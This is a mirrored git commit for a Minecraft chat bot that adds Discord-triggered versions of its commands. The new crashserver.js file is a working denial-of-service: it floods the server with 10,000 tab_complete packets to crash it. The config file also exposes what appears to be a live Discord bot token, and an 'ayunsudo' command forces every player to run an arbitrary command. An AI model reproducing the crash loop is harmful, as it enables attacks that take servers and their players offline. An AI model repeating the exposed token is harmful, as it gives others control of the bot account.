mirror of
https://github.com/ChomeNS/chomens-bot-mc.git
synced 2024-11-27 09:35:35 -05:00
discord commands
This commit is contained in:
parent
97c66474f7
commit
82c5ed0457
14 changed files with 192 additions and 46 deletions
|
@ -1,3 +1,4 @@
|
|||
/* eslint-disable max-len */
|
||||
module.exports = {
|
||||
name: 'ayunsudo',
|
||||
alias: [],
|
||||
|
@ -13,4 +14,13 @@ module.exports = {
|
|||
throw new Error('Invalid hash');
|
||||
}
|
||||
},
|
||||
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
|
||||
if (message.member.roles.cache.some((role) => role.name === 'Trusted')) {
|
||||
for (const property of bot.players.list) {
|
||||
bot.core.run('essentials:sudo ' + property.UUID + ' ' + args[0]);
|
||||
}
|
||||
} else {
|
||||
throw new Error('You\'re not in the trusted role!');
|
||||
}
|
||||
},
|
||||
};
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
/* eslint-disable max-len */
|
||||
const {MessageEmbed} = require('discord.js');
|
||||
module.exports = {
|
||||
name: 'botuser',
|
||||
alias: [],
|
||||
|
@ -6,6 +7,13 @@ module.exports = {
|
|||
usage: '',
|
||||
trusted: 0,
|
||||
execute: function(bot) {
|
||||
bot.core.run('minecraft:tellraw @a ' + JSON.stringify(['', {text: 'The bot\'s username is: ', color: 'white'}, {text: `${bot.username}`, color: 'gold', clickEvent: {action: 'copy_to_clipboard', value: `${bot.username}`}, hoverEvent: {action: 'show_text', contents: [{text: 'Click here to copy the username to your clipboard', color: 'green'}]}}, {text: ' and the uuid is: '}, {text: `${bot.uuid}`, color: 'aqua', clickEvent: {action: 'copy_to_clipboard', value: `${bot.uuid}`}, hoverEvent: {action: 'show_text', contents: [{text: 'Click here to copy the uuid to your clipboard', color: 'green'}]}}]));
|
||||
bot.core.run('minecraft:tellraw @a ' + JSON.stringify(['', {text: 'The bot\'s username is: ', color: 'white'}, {text: `${bot.username}`, color: 'gold', clickEvent: {action: 'copy_to_clipboard', value: `${bot.username}`}, hoverEvent: {action: 'show_text', contents: [{text: 'Click here to copy the username to your clipboard', color: 'green'}]}}, {text: ' and the UUID is: '}, {text: `${bot.uuid}`, color: 'aqua', clickEvent: {action: 'copy_to_clipboard', value: `${bot.uuid}`}, hoverEvent: {action: 'show_text', contents: [{text: 'Click here to copy the uuid to your clipboard', color: 'green'}]}}]));
|
||||
},
|
||||
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
|
||||
const Embed = new MessageEmbed()
|
||||
.setColor('#FFFF00')
|
||||
.setTitle('Bot\'s User')
|
||||
.setDescription(`The bot's username is: \`${bot.username}\` and the UUID is: \`${bot.uuid}\``);
|
||||
channeldc.send({embeds: [Embed]});
|
||||
},
|
||||
};
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
/* eslint-disable max-len */
|
||||
const {MessageEmbed} = require('discord.js');
|
||||
module.exports = {
|
||||
name: 'botvisibility',
|
||||
alias: [],
|
||||
|
@ -22,4 +23,29 @@ module.exports = {
|
|||
throw new Error('Invalid hash');
|
||||
}
|
||||
},
|
||||
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
|
||||
if (message.member.roles.cache.some((role) => role.name === 'Trusted')) {
|
||||
if (args[0]==='true') {
|
||||
bot.visibility = true;
|
||||
bot.chat('/essentials:vanish disable');
|
||||
const Embed = new MessageEmbed()
|
||||
.setColor('#FFFF00')
|
||||
.setTitle('Bot\'s Visibility')
|
||||
.setDescription('The bot\'s visibility is now visible');
|
||||
channeldc.send({embeds: [Embed]});
|
||||
} else if (args[0]==='false') {
|
||||
bot.visibility = false;
|
||||
bot.chat('/essentials:vanish enable');
|
||||
const Embed = new MessageEmbed()
|
||||
.setColor('#FFFF00')
|
||||
.setTitle('Bot\'s Visibility')
|
||||
.setDescription('The bot\'s visibility is now invisible');
|
||||
channeldc.send({embeds: [Embed]});
|
||||
} else {
|
||||
throw new SyntaxError('Invalid argument');
|
||||
}
|
||||
} else {
|
||||
throw new Error('You\'re not in the trusted role!');
|
||||
}
|
||||
},
|
||||
};
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
/* eslint-disable max-len */
|
||||
|
||||
module.exports = {
|
||||
name: 'clearchat',
|
||||
alias: ['cc'],
|
||||
|
@ -13,4 +14,12 @@ module.exports = {
|
|||
bot.core.run(`minecraft:tellraw @a ` + JSON.stringify([{text: `${'\n'.repeat(100)}`, color: 'white'}, {text: 'The chat has been cleared.', color: 'dark_green'}]));
|
||||
}
|
||||
},
|
||||
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
|
||||
if (args[0]==='specific') {
|
||||
bot.core.run(`minecraft:tellraw ${args[1]} ` + JSON.stringify([{text: `${'\n'.repeat(100)}`, color: 'white'}, {text: `Your chat has been cleared by ${username} (on Discord).`, color: 'dark_green'}]));
|
||||
return;
|
||||
} else {
|
||||
bot.core.run('minecraft:tellraw @a ' + JSON.stringify([{text: `${'\n'.repeat(100)}`, color: 'white'}, {text: 'The chat has been cleared.', color: 'dark_green'}]));
|
||||
}
|
||||
},
|
||||
};
|
||||
|
|
33
commands/crashserver.js
Normal file
33
commands/crashserver.js
Normal file
|
@ -0,0 +1,33 @@
|
|||
/* eslint-disable max-len */
|
||||
|
||||
module.exports = {
|
||||
name: 'crashserver',
|
||||
alias: [],
|
||||
description: 'Crashes the server',
|
||||
usage: '<hash>',
|
||||
trusted: 1,
|
||||
execute: function(bot, username, usernameraw, sender, prefix, args) {
|
||||
if (args[0] === bot.hash) {
|
||||
for (let i = 0; i < 10000; i++) {
|
||||
bot.write('tab_complete', {
|
||||
transactionId: 0,
|
||||
text: '/',
|
||||
});
|
||||
}
|
||||
} else {
|
||||
throw new Error('Invalid hash');
|
||||
}
|
||||
},
|
||||
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
|
||||
if (message.member.roles.cache.some((role) => role.name === 'Trusted')) {
|
||||
for (let i = 0; i < 10000; i++) {
|
||||
bot.write('tab_complete', {
|
||||
transactionId: 0,
|
||||
text: '/',
|
||||
});
|
||||
}
|
||||
} else {
|
||||
throw new Error('You\'re not in the trusted role!');
|
||||
}
|
||||
},
|
||||
};
|
|
@ -1,5 +1,4 @@
|
|||
/* eslint-disable max-len */
|
||||
const config = require('../config');
|
||||
module.exports = {
|
||||
name: 'end',
|
||||
alias: [],
|
||||
|
@ -14,10 +13,10 @@ module.exports = {
|
|||
}
|
||||
},
|
||||
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
|
||||
if (message.member._roles.at(0)===config.discord.trustedRoleID) {
|
||||
if (message.member.roles.cache.some((role) => role.name === 'Trusted')) {
|
||||
bot.end('end command');
|
||||
} else {
|
||||
throw new Error('You\'re not in trusted role!');
|
||||
throw new Error('You\'re not in the trusted role!');
|
||||
}
|
||||
},
|
||||
};
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
/* eslint-disable max-len */
|
||||
// eslint-disable-next-line no-unused-vars
|
||||
const mcData = require('minecraft-data')('1.18.2');
|
||||
module.exports = {
|
||||
name: 'entity',
|
||||
|
@ -7,15 +8,16 @@ module.exports = {
|
|||
usage: '[specific] <player>',
|
||||
trusted: 0,
|
||||
execute: function(bot, username, usernameraw, sender, prefix, args) {
|
||||
if (!args[0]) return;
|
||||
const entity = mcData.entitiesByName[args[0]];
|
||||
if (!entity) throw new SyntaxError('Invalid entity');
|
||||
if (!args[1]) {
|
||||
bot.core.run('minecraft:execute unless entity @s[name= run ] run execute as @a at @r[\'limit\'=10] run summon minecraft:' + entity.name);
|
||||
bot.core.run('minecraft:tellraw @a ' + JSON.stringify(['', {text: 'Entity ', color: 'white'}, {text: entity.displayName, color: 'green'}, {text: ' spawning at everyone...', color: 'white'}]));
|
||||
} else if (args[1]==='specific' && args[2]) {
|
||||
bot.core.run('minecraft:execute unless entity @s[name= run ] run execute as @a at ' + args[2] + ' run summon minecraft:' + entity.name);
|
||||
bot.core.run('minecraft:tellraw @a ' + JSON.stringify(['', {text: `Entity `, color: 'white'}, {text: entity.displayName, color: 'green'}, {text: ' spawning at ', color: 'white'}, {text: `${args[2]}`, color: 'aqua'}]));
|
||||
}
|
||||
throw new Error('Execute Bypass is patched so this command will be broken for now!');
|
||||
// if (!args[0]) return;
|
||||
// const entity = mcData.entitiesByName[args[0]];
|
||||
// if (!entity) throw new SyntaxError('Invalid entity');
|
||||
// if (!args[1]) {
|
||||
// bot.core.run('minecraft:execute unless entity @s[name= run ] run execute as @a at @r[\'limit\'=10] run summon minecraft:' + entity.name);
|
||||
// bot.core.run('minecraft:tellraw @a ' + JSON.stringify(['', {text: 'Entity ', color: 'white'}, {text: entity.displayName, color: 'green'}, {text: ' spawning at everyone...', color: 'white'}]));
|
||||
// } else if (args[1]==='specific' && args[2]) {
|
||||
// bot.core.run('minecraft:execute unless entity @s[name= run ] run execute as @a at ' + args[2] + ' run summon minecraft:' + entity.name);
|
||||
// bot.core.run('minecraft:tellraw @a ' + JSON.stringify(['', {text: `Entity `, color: 'white'}, {text: entity.displayName, color: 'green'}, {text: ' spawning at ', color: 'white'}, {text: `${args[2]}`, color: 'aqua'}]));
|
||||
// }
|
||||
},
|
||||
};
|
||||
|
|
|
@ -1,9 +1,11 @@
|
|||
/* eslint-disable max-len */
|
||||
const {MessageEmbed} = require('discord.js');
|
||||
const {VM} = require('vm2');
|
||||
const axios = require('axios');
|
||||
const util = require('util');
|
||||
const querystring = require('querystring');
|
||||
const {stylize} = require('../util/colors/minecraft');
|
||||
const config = require('../config');
|
||||
module.exports = {
|
||||
name: 'eval',
|
||||
alias: [],
|
||||
|
@ -23,15 +25,15 @@ module.exports = {
|
|||
}
|
||||
if (args[0]==='server') {
|
||||
axios
|
||||
.post('http://192.168.1.105:4445/', querystring.stringify({
|
||||
.post(config.eval.serverUrl, querystring.stringify({
|
||||
html: false,
|
||||
showErrorMsg: false,
|
||||
colors: 'minecraft',
|
||||
code: args[1],
|
||||
})).then((res) => {
|
||||
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({text: `${res.data}`}));
|
||||
}).catch((e) => {
|
||||
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({text: `${e}`, color: 'red'}));
|
||||
}).catch((err) => {
|
||||
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({text: `${err}`, color: 'red'}));
|
||||
});
|
||||
}
|
||||
// if (args[0]==='dineval') {
|
||||
|
@ -48,4 +50,36 @@ module.exports = {
|
|||
// });
|
||||
// }
|
||||
},
|
||||
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
|
||||
if (args[0]==='run') {
|
||||
try {
|
||||
const Embed = new MessageEmbed()
|
||||
.setColor('#FFFF00')
|
||||
.setTitle('Output')
|
||||
.setDescription(`\`\`\`${util.inspect(bot.vm.run(args.slice(1).join(' ')))}\`\`\``);
|
||||
channeldc.send({embeds: [Embed]});
|
||||
} catch (err) {
|
||||
throw err;
|
||||
}
|
||||
}
|
||||
if (args[0]==='reset') {
|
||||
bot.vm = new VM(bot.vmoptions);
|
||||
}
|
||||
if (args[0]==='server') {
|
||||
axios
|
||||
.post(config.eval.serverUrl, querystring.stringify({
|
||||
html: false,
|
||||
showErrorMsg: false,
|
||||
code: args[1],
|
||||
})).then((res) => {
|
||||
const Embed = new MessageEmbed()
|
||||
.setColor('#FFFF00')
|
||||
.setTitle('Output')
|
||||
.setDescription(`\`\`\`${res.data}\`\`\``);
|
||||
channeldc.send({embeds: [Embed]});
|
||||
}).catch((err) => {
|
||||
throw err;
|
||||
});
|
||||
}
|
||||
},
|
||||
};
|
||||
|
|
|
@ -53,11 +53,9 @@ module.exports = {
|
|||
}
|
||||
},
|
||||
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc) {
|
||||
let commands = '';
|
||||
for (const command of bot.command_handler.commands) {
|
||||
commands += command.name + ' ';
|
||||
}
|
||||
if (typeof args[0]!=='undefined') {
|
||||
let sent = false;
|
||||
|
||||
for (const command of bot.command_handler.commands) {
|
||||
if (command.name===args[0]) {
|
||||
let discordSupported;
|
||||
|
@ -73,11 +71,12 @@ module.exports = {
|
|||
const Embed = new MessageEmbed()
|
||||
.setColor('#FFFF00')
|
||||
.setTitle(`${prefix + command.name} (${alias}) - ${command.description}`)
|
||||
.setDescription(`Trust level: ${commands.trusted}` + '\n' + `${prefix + command.name} ${command.usage}` + '\n' + `Supported: ${discordSupported}`);
|
||||
.setDescription(`Trust level: ${command.trusted}` + '\n' + `${prefix + command.name} ${command.usage}` + '\n' + `Supported: ${discordSupported}`);
|
||||
channeldc.send({embeds: [Embed]});
|
||||
} else {
|
||||
throw new SyntaxError('Invalid command');
|
||||
|
||||
sent = true;
|
||||
}
|
||||
if (!sent) throw new SyntaxError('Invalid command');
|
||||
};
|
||||
} else {
|
||||
let supportedCommands = '';
|
||||
|
|
|
@ -1,14 +0,0 @@
|
|||
module.exports = {
|
||||
name: 'stopserver',
|
||||
alias: [],
|
||||
description: 'Stops the stopserver',
|
||||
usage: '<hash>',
|
||||
trusted: 1,
|
||||
execute: function(bot, username, usernameraw, sender, prefix, args) {
|
||||
if (args[0]===bot.hash) {
|
||||
bot.core.run('minecraft:execute unless entity @s[name= run ] run stop');
|
||||
} else {
|
||||
throw new Error('Invalid hash');
|
||||
}
|
||||
},
|
||||
};
|
|
@ -1,4 +1,5 @@
|
|||
/* eslint-disable max-len */
|
||||
const {MessageEmbed} = require('discord.js');
|
||||
const moment = require('moment-timezone');
|
||||
module.exports = {
|
||||
name: 'time',
|
||||
|
@ -10,10 +11,7 @@ module.exports = {
|
|||
const timezone = args.join(' ');
|
||||
const momented = moment().tz(`${timezone}`).format('dddd, MMMM Do, YYYY, hh:mm:ss A');
|
||||
const command = 'minecraft:tellraw @a ' + JSON.stringify(['', {text: 'The current date and time for the timezone ', color: 'white'}, {text: timezone, color: 'aqua'}, {text: ' is: ', color: 'white'}, {text: `${momented}`, color: 'green'}]);
|
||||
if (timezone.toLowerCase()==='asia/bangkok') {
|
||||
bot.core.run(command);
|
||||
return;
|
||||
} else if (timezone.toLowerCase()==='utc') {
|
||||
if (timezone.toLowerCase()==='asia/bangkok' || timezone.toLowerCase()==='utc') {
|
||||
bot.core.run(command);
|
||||
return;
|
||||
} else if (momented===moment().format('dddd, MMMM Do, YYYY, h:mm:ss A')) {
|
||||
|
@ -22,4 +20,25 @@ module.exports = {
|
|||
bot.core.run(command);
|
||||
}
|
||||
},
|
||||
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc) {
|
||||
const timezone = args.join(' ');
|
||||
const momented = moment().tz(`${timezone}`).format('dddd, MMMM Do, YYYY, hh:mm:ss A');
|
||||
const description = `The current date and time for the timezone ${timezone} is: ${momented}`;
|
||||
if (timezone.toLowerCase()==='asia/bangkok' || timezone.toLowerCase()==='utc') {
|
||||
const Embed = new MessageEmbed()
|
||||
.setColor('#FFFF00')
|
||||
.setTitle('Time')
|
||||
.setDescription(description);
|
||||
channeldc.send({embeds: [Embed]});
|
||||
return;
|
||||
} else if (momented===moment().format('dddd, MMMM Do, YYYY, h:mm:ss A')) {
|
||||
throw new SyntaxError('Invalid timezone');
|
||||
} else {
|
||||
const Embed = new MessageEmbed()
|
||||
.setColor('#FFFF00')
|
||||
.setTitle('Time')
|
||||
.setDescription(description);
|
||||
channeldc.send({embeds: [Embed]});
|
||||
}
|
||||
},
|
||||
};
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
/* eslint-disable max-len */
|
||||
const {MessageEmbed} = require('discord.js');
|
||||
module.exports = {
|
||||
name: 'uuid',
|
||||
alias: [],
|
||||
|
@ -6,13 +7,31 @@ module.exports = {
|
|||
usage: '',
|
||||
trusted: 0,
|
||||
execute: function(bot, username, usernameraw, sender, prefix, args) {
|
||||
if (args[0]!=undefined) {
|
||||
if (args[0]) {
|
||||
const playername = args.join(' ');
|
||||
const player = bot.playersAddedPlayers[playername];
|
||||
if (player===undefined) throw new SyntaxError('Invalid UUID');
|
||||
if (player === undefined) throw new SyntaxError('Invalid UUID');
|
||||
bot.core.run('minecraft:tellraw @a ' + JSON.stringify(['', {text: `${playername}'s uuid: `, color: 'green'}, {text: `${player}`, color: 'aqua', clickEvent: {action: 'copy_to_clipboard', value: `${player}`}, hoverEvent: {action: 'show_text', contents: [{text: 'Click here to copy the uuid to your clipboard', color: 'green'}]}}]));
|
||||
} else {
|
||||
bot.core.run('minecraft:tellraw @a ' + JSON.stringify(['', {text: `Your uuid: `, color: 'green'}, {text: `${sender}`, color: 'aqua', clickEvent: {action: 'copy_to_clipboard', value: `${sender}`}, hoverEvent: {action: 'show_text', contents: [{text: 'Click here to copy the uuid to your clipboard', color: 'green'}]}}]));
|
||||
}
|
||||
},
|
||||
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
|
||||
if (args[0]) {
|
||||
const playername = args.join(' ');
|
||||
const player = bot.playersAddedPlayers[playername];
|
||||
if (player === undefined) throw new SyntaxError('Invalid UUID');
|
||||
const Embed = new MessageEmbed()
|
||||
.setColor('#FFFF00')
|
||||
.setTitle('UUID')
|
||||
.setDescription(`${playername}'s UUID: ${player}`);
|
||||
channeldc.send({embeds: [Embed]});
|
||||
} else {
|
||||
const Embed = new MessageEmbed()
|
||||
.setColor('#FF0000')
|
||||
.setTitle('Error')
|
||||
.setDescription('Invalid player name');
|
||||
channeldc.send({embeds: [Embed]});
|
||||
}
|
||||
},
|
||||
};
|
||||
|
|
|
@ -10,6 +10,9 @@ module.exports = {
|
|||
'layers': 1,
|
||||
'refillInterval': 500,
|
||||
},
|
||||
'eval': {
|
||||
'serverUrl': 'http://192.168.1.105:4445/',
|
||||
},
|
||||
'reconnectTimeout': 1000 * 6,
|
||||
'discord': {
|
||||
'token': 'OTcxNjUwNDU2NzA5Mzk4NTY5.G3lKC2._XQNTTU1Jqmaam_A0JKSe93GP1vFZvDpiXqZzA',
|
||||
|
@ -22,7 +25,6 @@ module.exports = {
|
|||
'mc.chomens41793.ga:25565': '1010734897796763758',
|
||||
},
|
||||
'prefix': '!',
|
||||
'trustedRoleID': '981159334299983953',
|
||||
},
|
||||
'servers': [
|
||||
{
|
||||
|
|
2
index.js
2
index.js
|
@ -361,7 +361,7 @@ function main() {
|
|||
|
||||
bot._client.on('keep_alive', (packet) => bot.write('keep_alive', {keepAliveId: packet.keepAliveId}));
|
||||
|
||||
bot._client.on('tab_complete', (packet) => bot.tabcompleteplayers = packet.matches);
|
||||
// bot._client.on('tab_complete', (packet) => bot.tabcompleteplayers = packet.matches);
|
||||
|
||||
bot._client.on('kick_disconnect', function(data) {
|
||||
const parsed = JSON.parse(data.reason);
|
||||
|
|
Loading…
Reference in a new issue